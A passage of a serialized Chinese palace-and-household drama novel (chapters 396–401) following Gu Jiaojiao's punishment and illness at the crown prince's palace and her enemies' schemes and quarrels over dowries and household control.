“是啊,殿下,姑娘身子不好,今日赵家姑娘又上门挑衅污辱,这才使姑娘说了气话,这些定不是她的心里话,还望殿下明鉴。” 无意说这话的时候,额头处还有一片红肿。 她们二人是侍女,本不该指责贵女赵蕴苎的不是,可她们想保下顾皎皎,便顾不得其他了。 “倒是主仆情深。” 沈云祉冷哼出声,当初将这两个丫头送到顾皎皎这里,着实没错。 “民女自知身份低贱,殿下要打要罚都可,只是这两个丫头本是受民女牵连,想来殿下也不是迁怒于他人的人,不如将她们放了。” 顾皎皎神色清冷,早已将眼底的那抹失望与无奈掩藏。 她说了这么多,却只字不提自己所行之事,所说之言,可见,也是打定主意不会低头了。 “好,很好,既然你不知错,那便跪着,什么时候想通了,什么时候再起来。” 沈云祉拂袖而去。 王福看着倔强的顾皎皎,一时也不知该说些什么,只叹了口气,便跟着沈云祉离开。 “姑娘,你这是何苦呢?奴婢看殿下的意思,也并不是真的要罚你,你就说两句好话,便不用吃这样的苦了。” 无意年纪虽小,倒是会洞察人心。 顾皎皎扯了扯嘴角。 她已经不在意沈云祉是不是真的要罚她,她在意的是现在这个结果,至少这个结果赵蕴苎一定很满意。 至于服软,她要怎么服软呢?像宫中其他的女子一样,为讨君王开心,谄媚讨好,不惜一切代价的去争抢吗? 她做不到,也不想过那样的日子。 “是我连累了你们,才入宫短短几日,便牵连你们陪我一起受罚。” 顾皎皎没有再提及沈云祉,但对身旁这两个丫头的愧疚是发自真心的。 “姑娘这话可是折煞奴婢了,奴婢入宫多年,所受的处罚数都数不过来,现下算是最轻的了。” “是啊,我上次被罚,还被打了十几板子呢,几天都下不了地,可疼了。” “姑娘算是对我们极好的了,就像今日赵姑娘打了奴婢,这于我们而言都是家常便饭。” “不过,姑娘再遇到这种情况也不必为我们出头,我们早就习惯了。” …… 这两个丫头你一言我一语的,也不知是不是为了宽慰顾皎皎,明明在此跪着,她们却似是无事一般。 也是因她们二人,顾皎皎的情绪缓和了一些,与此同时,也让她觉得越来越冷。 东宫的书房内。 沈云祉坐在案前,翻看着那些奏折,但却没看进去几个字。 双瑞更是在屋子里不停的走来走去,时不时的看沈云祉一眼,欲言又止。 “你如果不能安静下来,就滚出去。” 沈云祉没有抬头,但语气已经颇为烦躁。 双瑞停下脚步,站在沈云祉面前,还是忍不住开口。 “殿下,这外面这么冷,眼看就要下雪,顾姑娘的身子撑不住的。” 他可是答应莺儿一定会照顾好顾皎皎,现在这般,他岂不是要食言。 “她受不住,自是会起来的。” 沈云祉面无表情,几乎是毫不犹豫的说道。 “这么久了,殿下还不了解顾姑娘吗?她不愿的事,何曾低过头?” 双瑞说话间,外面已经下起了雪。 大片大片的雪花飘落,双瑞更急了。 “殿下,以顾姑娘的性子,怕是会一直跪下去,时间久了会出事的。” 沈云祉此时才抬起眼帘,起身走到门口。 望着那大片的雪花,他的脑海中浮现的依旧是顾皎皎与赵蕴苎提及杜玉荣时的样子。 他是生气的,甚至是嫉妒的,但又不得不担心顾皎皎的身体。 沈云祉还是抬脚走出门外,想要去看看顾皎皎,可正在此时,王福从外面跑过来。 “殿下,皇上召见。” 沈云祉的步子被迫停下。 他刚刚是去见过皇上的,但未说两句话,就匆忙离开,想必此时皇上也是担忧的。 沈云祉只得先前往皇上的寝宫。 另一边。 顾皎皎微微仰起头,看着雪花飘落,落在她的脸颊,冰凉,而后又化成水珠滚落下来。 她乌黑的长发上,也落满了雪花,一阵风吹来,寒冷刺骨。 “姑娘,你没事吧?” 云舒看向顾皎皎时,发现她唇间已白,没有了血色,不禁担忧的惊呼出声。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十六章 是他该受的 顾皎皎摇了摇头。 她喜欢这样的雪天,整个世界都被染成白色,就好似一切阴暗的事都不在了,只留下纯洁。 她能感觉到自己的身体已经被寒冷包围,但她依旧撑着,强撑着。 无意与云舒劝过她和很多次,哪怕只是说几句软话,太子自会放了她。 她不肯。 “姑娘的身体怕是撑不住了,无意,你陪着姑娘,我去求殿下。” 云舒是冒死起身的,直奔寝宫外跑去,只是没跑几步,就被无意的声音拉了回来。 “姑娘……云舒,姑娘她……” 等云舒回过头的时候,发现顾皎皎已经倒在雪地里。 顾皎皎最后的一丝意志力消失,天眩地转后,她便什么都不知道了,于此时的她来说,也算是好事,毕竟也感觉不到寒冷了。 另一边。 沈云祉被皇上叫进了寝宫。 皇上近来的身体越来越不好,醒着的时间也不是很多,但因为沈云祉刚刚匆匆离去,他还是命人查探了一番。 “关于那女子,近来朕也听说了一些闲话,朕倒是觉得无伤在雅,只要你喜欢,收入宫中也未尝不可,只是……” 皇上倚靠在床榻边,说着时便忍不住咳嗽了几声,沈云祉立即上前顺气。 皇上摆了摆手,缓和了一下后,才继续说了下去。 “只是你需控制自己的感情,身处皇家,日后又为国君,说起来只是儿女私情,但事实上就是各方的牵扯,旁人也会说你宠妾灭妻。” 宠妾灭妻。 这四个字说出来时,沈云祉便知道,皇上不只知道顾皎皎的存在,还知道了今日赵蕴苎进宫之事。 “是,微臣谨遵教诲。” 沈云祉低垂着眼眸,低声应道。 皇上则是笑了笑。 “你也莫要诓朕,你的性子朕还是了解的,说是遵从,但实则有你自己的主意。” 皇上侧了侧身子,让自己坐的更舒服一些。 “朕也并不是非得让你怎样,你是个心里有数的,今日也只是提醒你,莫因儿女私情误了政事便好。” 帝王家,少情爱,沈云祉身上的权利是要用在国土百姓身上,而并非只是个人情感。 沈云祉既坐上了这个位置,自然心中有数。 “多谢皇上,也谢皇上愿意相信臣。” 皇上微微点头,而后抬眼看了看外面的大雪。 “朕近来神情恍惚,刚刚听老太监们说起,才想起很快就到年下了。” “是,年节时的事务,臣已安排妥当。” “你留那女子在宫中,想必是不愿让她离开的,但年节下,宫中会有宴饮,自要陪你出席,不可不懂宫中规矩。” 皇上自幼身体不好,羡慕天下有情之人,在不出格的情况下,他也想帮沈云祉留下心中的那份真挚。 沈云祉有些意外。 “皇上的意思是,允许臣将她留下来?” 所有人都在告诉沈云祉,什么是规矩,什么是礼数,他也未曾想到,第一个支持他的人,竟然会是皇上。 “去内务府找个积年的嬷嬷,去教导她礼仪,只是,在赵家姑娘未入宫前,就先不要给她名分了,免得给别人留下话柄。” 皇上没有什么血色的脸上,挂着淡淡的笑,这笑里满是温和。 沈云祉立即跪下行礼,道谢。 皇上也累了,又简单的叮嘱几句后,便让沈云祉退下了。 沈云祉心底还是高兴的,明确了皇上的意思,他也可以安心不少。 只是,当他刚踏出寝宫,在外面急的团团转的王福便迎了过来。 “殿下,顾皎皎晕倒了。” 后面王福还说了什么,沈云祉都没有听,而是直奔东宫的寝宫。 东宫的人倒是得力的,虽然没有沈云祉的命令,也是第一时间传了太医。 太医院的人也深知这位顾皎皎对太子的重要性,未有人敢怠慢。 沈云祉赶到的时候,顾皎皎还处在昏迷之中,整张脸都红的异常。 “如何?” 他转头看向李太医沉声询问。 “顾姑娘身子本就弱,几日不曾用膳,又在冷风里跪了那么久,导致寒气入体,现下顾皎皎高热不退,臣等定会尽力。” 这一次,李太医没有给出直接治疗方法,而只是汇报顾皎皎的病情。 这也意味着,顾皎皎此时是危险的。 “她若出事,本宫让你们整个太医院陪葬。” 沈云祉周身都散发着寒气,整个人阴沉的可怕,就连说出这样的话,也似很是平静一般。 李太医以及其他几位太医都吓得不轻。 “臣等一定尽力。” 几位太医立即围在一起想办法。 云舒与无意在床榻边为顾皎皎擦拭着身体,一盆接一盆的水换过,顾皎皎却没有好转的迹象。 高热不退,再这般下去,就算是人醒了,怕也不能和正常人一样了。 “王福,让寝宫里的下人都出去,命太医在偏殿候着。” 沈云祉突然下令。 王福不解,但立即去办。 寝宫里的人都心存疑惑,毕竟太医刚刚说过,此时顾皎皎极为危险,在这个时候,将所有人打发出去,实在令人意外。 没有人敢违逆沈云祉,这宫殿里也只留下了无意与云舒两个侍女。 就在所有人都意外之时,沈云祉将自己衣衫褪去,只留下了里衣,而后走出了门。 “殿下不可啊,殿下贵体万不可有一分一毫损伤,殿下……” 王福看出了他的意图,追上去便开始劝说。 沈云祉则似是没有听到一样,直接躺在了雪地里。 一股刺骨的寒意瞬间袭卷全身,沈云祉未动分毫。 他在后悔,悔恨灼烧着他的心,就算再冷,他也觉得是他该受的。 沈云祉在雪地里躺了许久,觉得整个身体都凉透了,才返回到殿内。 他将顾皎皎紧紧拥在怀里,用自己身上的寒冷,解她的体热。 无意与云舒在一旁看着,被沈云祉感动,也觉得顾皎皎可怜。 待感觉自己的身体暖了,沈云祉便再次出门躺在雪地里,如此反复着。 双瑞与双剑赶来,也不停的劝说于他,可他不听任何人的话,一意孤行。 “殿下,再这样下去,你的身体也会受不住的。” 双瑞拦下了又一次从殿内出来的沈云祉。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十七章 一时新鲜罢了 双瑞没有拦住沈云祉。 反复无数次后,顾皎皎的高热终是退了。 沈云祉命人叫来了太医,而他自己则回到书房。 他终是因为自己的这场决定病倒,刺骨的寒意使他在第二日也未能上朝。 大殿之上,群臣等候多时,等来的却是王福来传旨。 “太子殿下偶感风寒,今日不上朝,各位大臣散了吧。” 王福尖锐的声音在大殿响起,众大臣面面相觑,最后都一一散去。 但在下朝的路上,也有许多大臣在私下里议论。 “太子病倒了,这事可是真的?” “只一日的功夫,就算真的是风寒还能误了早朝?我看啊,是另有隐情。” “隐情?能有什么隐情?” “没听说吗?太子殿下迷上了一个宫外的女子,这误了早朝,怕是与那女子有关。” 接下来便是众大臣的笑声。 这些闲话与议论都落在了平王的耳朵里。 平王未搭话,但却想到了一个人。 孙协兆与徐青青被同时邀请到了平王府。 这于他们而言自是高兴的事,尤其是徐青青。 以往徐青青每次靠**王府,那平王妃都极力阻拦,甚至还会找各种理由处罚她,现在不一样了,平王妃怕是再也无法出现在这里了。 “先吃饭,尝一尝合不合你们的口味。” 平王少有的温和,面带笑容,与之前那威严、目中无人的样子判若两人。 徐青青与孙协兆互视一眼。 “多谢父王,父王近来定是忙碌,看上去都瘦了许多。” 徐青青再一次装出温柔可人的模样,说出来的话语也是极甜的。 平王笑了笑。 “无妨,这太子新立,到底是年轻,朝中不稳,本王自是要忙碌一些。” 他当然是忙的,毕竟要忙着怎么对付沈云祉。 “说起来,王爷者能堪大任之人,如今倒是埋没了。” 孙协兆也附和着,投过来的目光都是对平王的崇拜与敬仰。 自然了,这话也是平王爱听的。 “我知道你们孝顺,奈何,本王身在这个位置,有许多的不得已,对你们也有照顾不周的时候,你们要体谅。” 平王一副慈父的模样,语重心长。 “父王说的哪里话?我们是一家人,说不上这样见外的话,如今形势于父王不利,待日后好起来,父王定能如愿。” 徐青青无不坚定的说道。 平王却在此时摇了摇头。 “今时不同往日了,若只是沈云祉也就罢了,现在又多了一个顾皎皎。” 平王似只是无意提到这个女子,但对孙协兆和徐青青而言,这个名字就是他们心中的一根刺。 “父王说笑了,那顾皎皎不就只是一介商户之女,也厉害不到哪儿去,待父王日后成就大业之时,找个由头就将她料理了。” 徐青青说这话的时候是带着私人恩怨的,平王想不想料理不确定,但她着实想将顾皎皎踩在脚下,让她一辈子也翻不了身。 “你说的也是,不过,日后何种情形谁也说不准,那顾皎皎怕是成为娘娘也不一定。” “王爷莫不是说笑吧,顾皎皎那种身份,又自私自利的,怎么可能成为娘娘?” 孙协兆扯动嘴角,有些不敢相信他听到的。 平王微怔,装出有些意外的模样。 “顾皎皎被沈云祉带进了皇宫,如今就住在东宫,难道你们不知道吗?” 这个消息犹如晴天霹雳。 孙协兆与徐青青都半晌没有反应过来。 “顾皎皎一介商女,身份低贱,又是一个弃妇,她这等身份怎么能入得了皇宫?” 徐青青的温婉在此刻瞬间消失不见,甚至都顾不上掩饰自己眼中的恨意。 平王心里得意,这就是他想要的效果。 “沈云祉喜欢,她是何身份,又有什么样的过往根本不重要,为了顾皎皎,沈云祉还与首辅起过争执,可见他有多用心。” 平王微低下头夹着菜,像只是说着闲事一般。 此时,孙协兆额间已经冒出了细碎的汗珠。 若真有一日,顾皎皎成为了沈云祉的宠妃,那他和徐青青,哦不,乃至整个安阳候府怕都是保不住的。 “也许,太子也只是一时新鲜罢了。” 徐青青抱有一丝幻想。 “但愿吧,反正现在他将那女子当成宝贝一样,今日竟然为了顾皎皎连早朝都没上。” 平王不再提及此事,而是让面前的二人用膳。 直至孙协兆与徐青青离开,平王也再未提到顾皎皎。 在回去的路上,二人都沉默了许久,他们没有平王的身份能得已庇佑,只能自己想办法。 “顾皎皎真是一个狐媚的贱人,已经沦落至此,竟还能勾引上太子。” 徐青青咬着牙,一副恨不得要杀人的模样。 “首辅的孙女可是未来的太子妃,如此贵重的身份,都入不了太子的眼,若是日后,顾皎皎真的留在了宫里,那我们的处境……” 孙协兆没有再说下去,但意思已经很是明显。 这也正是徐青青所担忧的。 “我们不能坐以待毙,趁她现在在宫中,要想些办法断她的后路。” 徐青青思索着,而后突然想到了什么,转头看向孙协兆。 “夫君可还记得,前不久顾皎皎给顾家过继了一个子嗣,他定还留在顾府。” 听着这话,孙协兆也是眼前一亮。 “还是青青聪明,回府后,我立即安排。” 言谈之间,二人便做出了决定。 皇宫。 顾皎皎醒来时,阳光正洒在她的脸上。 她的眼前落着月影纱,阳光明亮,却并不刺眼。 她记得她昏迷前,是倒在雪地里,那时天色已暗,现在看来,她竟昏迷了一整夜。 她想起身,但刚刚动一下便头痛欲裂,整个身体也软绵无力。 “姑娘醒了,无意,快传太医,姑娘醒了。” 云舒的声音在耳边响起,顾皎皎微微侧头,才注意到那月影纱外有许多忙碌的身影。 “姑娘先不要动,待太医诊治过再说。” 云舒进来,轻轻按下欲起身的顾皎皎。 顾皎皎没有说,她现在想动也动不了。 “我没事。” 她说这话的时候,声音都在发抖,明显是在逞强。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十八章 表明来意 顾皎皎身体虚弱,还是被无意和云舒强喂下一碗参汤。 “姑娘受了寒气,太医说了,要好好休养几天。” 云舒伏在床榻边,轻声叮嘱着。 顾皎皎看了看周围,并没有发现沈云祉的身影,而她晕倒前的一幕幕也再次浮现在脑海。 那香囊,那维护也都刺痛着她。 “他还是不肯放我离开吗?” 顾皎皎望着床榻的顶部,悠悠的开口,想要得到自己期盼已久的那个答案。 云舒面露难色,似是又怕她多想,立即开口。 “姑娘此次伤的不轻,宫中有医术最好的太医,不如先修养几天,到时候再说离开的事。” 云舒顾左右而言他,也就证明,即使这般沈云祉也没有放她离开的打算。 沈云祉没有出现,顾皎皎连质问的机会也没有。 她缓缓闭上双眼,不再说什么。 云舒看着顾皎皎这样心疼,但还是命无意去向沈云祉汇报。 无意来到沈云祉的书房,这书房里也站满了太医。 “幸好殿下身体底子好,不然这么折腾,半条命都没子。” “殿下身体上有冻伤的地方,立即调配些药涂抹。” “殿下高热,写方子的时候要避免那些极补的药品,免得过犹不及。” 太医们各抒己见,都是在为了诊治沈云祉。 无意透过人群中悄悄看了床榻上的沈云祉一眼,不禁吓了一跳。 沈云祉轻闭着眼躺在床榻之上,像是睡着,可是整张脸都白的吓人,唇间更是一片青紫,就连放在床榻边上的手,都有明显的冻痕。 无意有被吓到,她自然是知道太子殿下为何会受伤,却也谨遵太子殿下的旨意,将此事烂在肚子里。 正当无意看的入神时,突然一只手伸出来,拎着她的领子便拎了出去。 “你放开。” 无意瞪了眼前的人一眼,却还是欠身行了个礼。 “你不在寝宫照顾顾姑娘,跑到这里来做什么?” 王福看了看周围,确定没有人注意到这里,才向无意询问。 王福是这宫中的首领公公,无意再不高兴也得仔细答话。 “回公公,奴婢是来向太子殿下汇报,顾姑娘醒了。” 无意微低着头。 王福看了一眼不远处的书房门口,人来人往,每个人都极为忙碌,也可见太子殿下的情况并不好。 “你过来,我跟你交代几句话。” 无意凑过去,王福便在她的耳边小声的嘀咕了几句。 无意惊得瞪大了眼睛,不可思议的看着王福。 “可是,之前殿下明明交代过……” “殿下自是为了顾姑娘好,难道你不想顾姑娘好吗?他们二人明明有情,我们这些做奴才的,不应该为他们分忧吗?” 王福立即反问道。 无意沉思着,半晌后,重重点头。 回到寝宫后,无意便将王福与她说的话说给了云舒。 云舒想了一下后,觉得这是可行之计。 “不过要缓一缓,姑娘现在的身体太过虚弱了。” “是,王公公也是这个意思,毕竟太子殿下那边的情况也不是很好。” 这两个丫头虽然与顾皎皎相处的时间不长,但人心都是肉长的,她们也希望在她们的能力范围之内,能多帮帮顾皎皎。 宫外。 顾府今日来了一位不速之客。 徐青青以平王府的郡主身份来到顾府,说是找顾皎皎有事。 她自然知道,那顾皎皎是不在府内的。 “孙三夫人来的不巧,姑娘不在府中,如果夫人有什么事,奴婢可以转达。” 莺儿将徐青青拦在门外。 顾皎皎不在府中,莺儿也不想引起什么祸事,便也是以礼相待。 徐青青站在冷风之中,鄙夷的瞥了莺儿一眼。 “我要说的事,也轮得到你一个贱婢过问?你派人去寻顾姑娘吧,我进去等着。” 徐青青不顾莺儿的阻拦,直接踏进了大门。 顾府的几个家丁想要上前,却被莺儿拦了下来。 莺儿将徐青青引入正厅。 “姑娘有事并不在京城,孙三夫人若是不信,等在这里就好。” 莺儿未阻拦,是因为她看到了徐青青的身后,还跟着几个侍从,确切的说,应该是打手。 此人上门,定然是不怀好意,莺儿也要弄清楚她的目的。 “哼,怕不是你家姑娘故意在躲着我吧?” 徐青青并未坐下,还是在这正厅环顾四周。 这顾府里的物件与装饰,比她所在的安阳候府都奢华许多。 顾皎皎并不是炫耀之人,在这里看不到太多的金器宝玉,但每一个物件都价值不菲。 墙上挂着的那幅字,乃是古迹,有市无价,那些桌椅皆为金丝楠木,柜子上的那对珐琅花瓶,即使是王候之家也找不出一对,还有桌上的那套茶具,一套下来不下百金。 她不过是一介商户之女,却可以拥有这些东西,而徐青青自己,明明是平王的亲生女儿,嫁去的人家又是候府,却不及顾皎皎的三中之一。 “孙三夫人说笑了,我们姑娘并不知道夫人要来,为何要躲着?” 莺儿在心里暗骂了徐青青许久,只觉得她和孙协兆真是天造地设的一对,一样不要脸。 “说起来,顾皎皎能有今日,也是当初曾嫁入安阳候府的关系,既然她不在,那我便直接表明来意了。” 徐青青极力压抑着心底的嫉妒与恨意,转头看向莺儿。 “顾皎皎嚣张跋扈,和离之时,带走了安阳候府的许多东西,虽然过去的时间久了,可如今我在候府主事,自然是要将东西讨回来的。” 徐青青说的理直气壮,不知道的还以为是顾皎皎偷了她的东西,她才上门讨要。 莺儿终是控制不住自己的情绪,鄙夷的瞪了徐青青一眼。 “我们姑娘当时带走的是她的嫁妆,你们孙家族老也是可以见证的,说起来,你们还真是不要脸,曾孙老夫人来讨要,如今你一个新过门的媳妇也来讨要,难不成你们安阳候府吃不起饭了?” 徐青青脸色顿时难看了不少,她自然是没想到一个奴婢敢如此说话。 “放肆,她顾皎皎说是嫁妆就是嫁妆吗?如果没有候府,她哪有本事做什么生意?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十九章 你谁也代表不了 “孙三夫人,你如果是来找我家姑娘,我们会以礼相待,但你若是来找麻烦的,那就别怪我们不客气了。” 莺儿没多少耐心。 “找麻烦?我堂堂平王府的郡主,安阳候府的夫人,来找你们这种贱门户的麻烦?也不掂掂自己几斤几两,我只是来拿回属于我们候府的东西。” “你们候府有什么东西?我们姑娘在候府时,整个候府都靠姑娘养着,现在姑娘离开了候府,难不成还要养着你这个所谓的郡主?” “贱婢,谁给你的胆子?来人。” 徐青青急了,低吼出声,跟随她而来的那些打手便齐齐的踏进屋内。 莺儿不屑,正欲说什么时,一个小小的身影从后面走了出来。 “别说那些东西不是安阳候府的,就算是,来要东西的也不该是你,让孙协兆来要。” 顾昭年岁虽小,但却有大家风范,面色沉稳,与徐青青面对面时,也丝毫没有惧意。 徐青青看着眼前小小的人,不禁笑出了声。 “我当是谁呢,原来是顾皎皎收养的贱种,我是候府的夫人,出现在这里也合情合理,这等小事,也不必我家官人出面……” “你家官人是不必出面,还是没脸出面?直接上门讨要,你们候府是盛产乞丐吗?” 顾昭的这张嘴,也是从顾皎皎那里耳濡目染学来的。 徐青青被气的不轻,指着顾昭便破口大骂。 “你就是一个小杂种,敢如此无礼,我可是平王府的郡主。” “平王府的郡主是哪里来的,你自己心里不清楚吗?说到杂种,还是你更配一些。” 顾昭依旧淡定如常,而后看了看身后的人,继续说了下去。 “我也想问一下这位夫人,你带人上门要东西,是以孙三夫人的身份,还是郡主的身份?” “这有何关系?” “若是候府,就让孙协兆亲自来,若是以平王府,那就让平王来吧。” 徐青青脸色铁青,她想不通,一个几岁的孩童怎可如此思路清晰,句句皆在要害。 “我既然代表平王府,也能代表安阳候府……” “孙夫人,你没有听懂我的意思,你谁也代表不了,没有这些身份,你什么也不是,也不配见我家阿姐。” 顾昭眨着一双清澈的大眼睛,说的认真。 徐青青彻底被激怒了。 “商户之人,果然不懂礼数,我懒得跟你们废话,来人,将这屋子给我搬空,谁要阻拦,不必客气。” 她高傲的昂着头。 在她的一声令下后,那些人也开始开始动手。 莺儿将顾昭护在身后,却没有上前阻拦。 正当徐青青有些意外之时,突然听到一声惨叫。 徐青青侧目,看到一个女子从后面出来,已经与她带来的人打作一团。 今日带出来的打手都是有些身手在身上的,也是徐青青精挑细选的,可在那女子的手上,那些人根本就过不了几招。 那女子出手狠辣,即使将人打倒了,还要补上两脚。 场面太过凶残,莺儿抬手挡住了顾昭的眼睛。 徐青青吓坏了,不停的后退,直到退到角落里。 她今日来就是来找麻烦的,也要趁顾皎皎不在,好好教训教训顾府里的人,但她从来都不知道,这在顾府,竟然有身手如此高绝的女子。 不一会儿的功夫,地上就倒了一片,哀号声与求饶声此起彼伏。 此时,莺儿才上前一步。 “哎呀,忘了跟孙三夫人说了,我们顾府里人才济济,文武双全的人自是不少。” 她刻意停顿了一下,又指了指旁边的人。 “她啊,叫馨儿,孙三夫人对这个名字耳熟吗?就是当日在醉月楼,孙公子欲图谋不轨的姑娘,就是她。” 馨儿。 徐青青自然记得这个名字,因为这个丫头,孙协兆丢了入朝为官的机会,还被平王狠狠的打了一顿。 她,竟然是顾皎皎的人。 是啊,馨儿有武在身,怎可能被酒醉的孙协兆欺负? 这都是顾皎皎的阴谋,当时孙协兆也解释过,但徐青青并未信他。 “你们,你们这群人简单是胆大包天。” “你上门来挑衅,你才是胆大包天,今日之事,我们会通知官府,也会报给平王府与安阳候府,孙三夫人可莫要生气啊。” 莺儿淡淡的笑着,随后便摆了摆手。 在这殿后,一下出来许多家丁模样打扮的人,将屋子里那些汉有动弹的人都拖了出去。 此时,徐青青才意识到,她终究是低估了顾皎皎。 一个商户的府中,不只有侍从,还有保护的人,甚至连一个侍女的功夫都如此了得。 “夫人,要不要我扶您出去?” 馨儿走上前来,扬起嘴角,笑的极为好看。 任谁也不会想到,就这样一个长相清丽甜美的丫头,出手竟然如此狠辣,招招见血。 徐青青双腿发软,因为惊吓,脸上已经没什么血色,她绕过馨儿,扶着旁边的椅子,逃也似的跑了出去。 “莺儿姐姐怎么不让我打她一顿,看着她我就来气。” 馨儿低声抱怨。 “姑娘不在府中,此时徐青青上门,定是有什么阴谋,我们要先稳住,不要惹出麻烦。” 莺儿轻皱起眉头。 她虽知道徐青青不是什么好东西,却也觉得她此时上门也太过唐突了一些,不像她的风格,或许还有后手。 “馨儿姐姐,你让我们的人将徐青青带来的打手分成两批,一批丢在安阳候府门前,另一批送给平王。” 顾昭在一旁突然开口。 馨儿与莺儿皆是一愣。 “公子,你可能不了解那徐青青,她今日敢来,怕是平王和孙协兆都是知晓的。” 莺儿轻声提醒着顾昭,觉得这个方法没什么用处。 “人言可畏,我们不需要做什么,只需要将这个消息散布出去,等姐姐回来后,也算是我们有理。” 顾昭轻声解释着。 他没想将徐青青怎样,但也不能落人话柄。 莺儿顿时明白了他的意思,喜笑颜开。 “我们公子跟姑娘真像,都是极聪明的。” 顾昭不好意思的嘿嘿一笑,阿姐不在,他必须要保护好顾府。 莺儿与馨儿两个侍女也是这般想,姑娘不在,她们定要护好小公子。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百章 一损俱损 安阳候府门前被丢了几个受伤的人,孙协兆与徐青青自是知道因为什么,立即处置了。 但平王府前,却不容易处理了。 平王府前,那几个人躺在地上痛苦的哀号,明明这几人被放在这里的时间不长,但周围已有人了解事情的真相了。 “这平王啊,也是不易,一生无子,外室生个女儿,本该是贴心才是,却不断的给平王惹麻烦。” “听闻此次那位郡主还闯入人家里要这要那,极为嚣张。” “不是传闻,是事实,那顾府都报官了,只是因为是平王府的郡主,官府也只是教训一二,未做处罚。” “既为郡主,为何会行此嚣张之事?莫不是与顾府结了仇。” “也算是仇吧,这郡主的夫家乃是安阳候府。” “这就难怪了。” 周围的人议论纷纷,虽然并未提及平王在此次事中有什么牵扯,但教导无方的‘罪名’是留下了。 最让人气愤的是,只半日的时间,这件事,这个消息便已传遍京城的大街小巷。 平王府内。 平王大发雷霆,将手中的杯子重重的摔在地上。 “他们就是两个废物,这么点事都能办得人尽皆知,是怕我平王府的脸丢的还不够大吗?” 平王气的在屋子里来回的踱步。 李嬷嬷站在一旁,微低着头。 “青青姑娘派人来传话了,她说只是试探一下顾府的虚实,没成想那顾府暗藏玄机。” “探什么虚实?不过是借着本王的势要去抢顾皎抱着的东西罢了,若事成了也就算了,可偏偏闹成这样。” 平王自是知道那两个蠢货心里在打什么如意算盘,尤其是那个孙协兆,自私自利不说,还极为无能。 平王缓和了一下心绪,才再次开口。 “徐青青还说什么了?” “她还说,顾府并不容易对付,直接上门怕是行不通,她已安排一些人,暗夜行事。” 李嬷嬷所说,都是徐青青传出的消息。 平王挑了挑眉毛,冷哼一声。 “他们若是能成事,也显得顾皎皎太无用了些。” 李嬷嬷的神色没有变化,还是开口询问。 “王爷既觉得他们无法成事,要不要去阻止?” “不必,此事与我们无关,任他们去折腾。” 平王眼底闪过一抹阴狠。 李嬷嬷瞬间明白了他的意思。 “王爷,此事若是不成,只怕他们不会好心将王爷撇干净,到时候王爷也会被诟病。” “你的意思呢?” “王妃在云澜寺思过多日,吃了不少苦,想来也是知错,王爷您看……” 李嬷嬷没有再说下去,但平王却大笑出声。 “没错,就算那两个蠢货败了,也是平王妃暗中指使,与本王无关。” 这样的招数,平王已经用过一次,不惜再用一次。 “那奴婢这就派人去请王妃。” “等等,本王亲自去。” 平王的怒气已经完全消失,倒是极为高兴了。 平王府前的那些受伤之人,都被人送到了安阳候府,这也让外面的人猜测,平王根本不想与安阳候府的人扯上什么关系,更未将他那个女儿放在眼里。 这也让安阳候府再次沦为京城里的笑柄。 孙老夫人坐在正厅,布满皱纹的脸上满是怒气。 “你们为何偏偏去招惹那顾皎皎,几次都在她手里吃了亏,竟然还不长记性。” 她说这话的时候,似乎都忘记了自己曾经做的那些事。 孙协兆与徐青青坐在下方,听着孙老夫人教训了一通。 徐青青明显不屑于解释什么,自顾自的喝着茶,丝毫不为所动。 “母亲,这些事您就不用操心了,我们会理好的。” “三弟这话可就错了,我们是一家人,自然是一荣俱荣,一损俱损,如今我们连门都不敢出呢。” 刘氏是最会见缝插针的,如今出了大事,她也是最耐不住性子的。 这段时日徐青青管家,她们得罪了徐青青,日子过得并不算宽裕,心里也自然是有怨的。 “三弟,我们候府如今不比当年,行事还是要谨慎一些,虽然你们对顾皎皎有恨,可她现在跟太子关系匪浅,我们还是避忌一些吧。” 章氏也在此时开口,听上去像是劝说,实则是摆明了孙协兆与徐青青不是顾皎皎的对手。 孙协兆一时无言,徐青青却忍不了了。 “一家人?既然是一家人,二位嫂嫂也不可只坐吃等死,近来府中开销庞大,二位嫂嫂不如也将自己的体己钱拿出来些,不要只用我的。” 徐青青微昂着头,鄙夷的看了那二人一眼。 孙老夫人到底是长辈,她总要给些脸面,可这二人算什么东西,她自然是不会惯着。 “你,老三媳妇,你怎可这样说话?我们是什么样,你还不清楚吗?若是你觉得管家辛苦,那将管家权交给母亲好了,免得日日都来拿银钱说事。” 刘氏急了,一副不服的模样。 章氏倒是没有说什么,却偷偷的看向孙老夫人。 徐青青正欲反驳,孙老夫人便开口了。 “好了,莫要吵,青青啊,其实你二嫂说的也没错,你近来忙碌,外面传言又多,不如母亲先帮你管段时间,等过了这个风头,你再接手。” 孙老夫人此话说出口,徐青青才明白她们几人今日的目的。 原来从一开始就是奔着管家权来的。 徐青青看向孙协兆,可这个她为天的夫君,此时却像是没有听到她们的对话一般。 孙协兆不静态,那徐青青只能靠自己了。 “好啊,母亲想要管家,那管家权便给母亲。” 徐青青刻意停下,眼见那三人面露喜色,还不等她们说什么,她便又说了下去。 “只是,自我嫁进来,公中的进项也没有多少,这一大家子的开销都靠我的嫁妆,母亲若要管钱,我也正好可将嫁妆存起来。” 此话一出,整个屋子都安静下来。 孙老夫人的笑僵在脸上,她那两个儿媳也脸色难看。 “三弟媳,你这是何意?你要将嫁妆收回,那公中怕是也没有多少钱吧?” 章氏勉强扯出一抹笑,给人一种体贴的感觉。 她的这个表现,让徐青青露出嘲讽的笑。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零一章 不知所谓 “大嫂这话说的,到底是要管家,还是要管我的嫁妆呢?你这样说,不知道的还以为母亲觊觎我的嫁妆呢。” 徐青青唇角挂着笑,看着旁边几人的脸变幻莫测,心里高兴极了。 “青青,你既已嫁进我们孙家了,怎么还分的这么清楚?母亲做什么事,也是为了我们这个家着想。” 刘氏一脸不服气,她身上的衣衫已经一个月没做新的了,这样的日子她可不想再过了。 “你敢说不必分得清楚,那是因为你没有,何况,这自古以来用媳妇的嫁妆本就是丢人的事,我也是把你们当一家人,也不曾计较,但你们若是明抢,那可就太过分了。” 徐青青停顿了一下,斜睨了孙协兆一眼,见他脸色也不好,便继续说了下去。 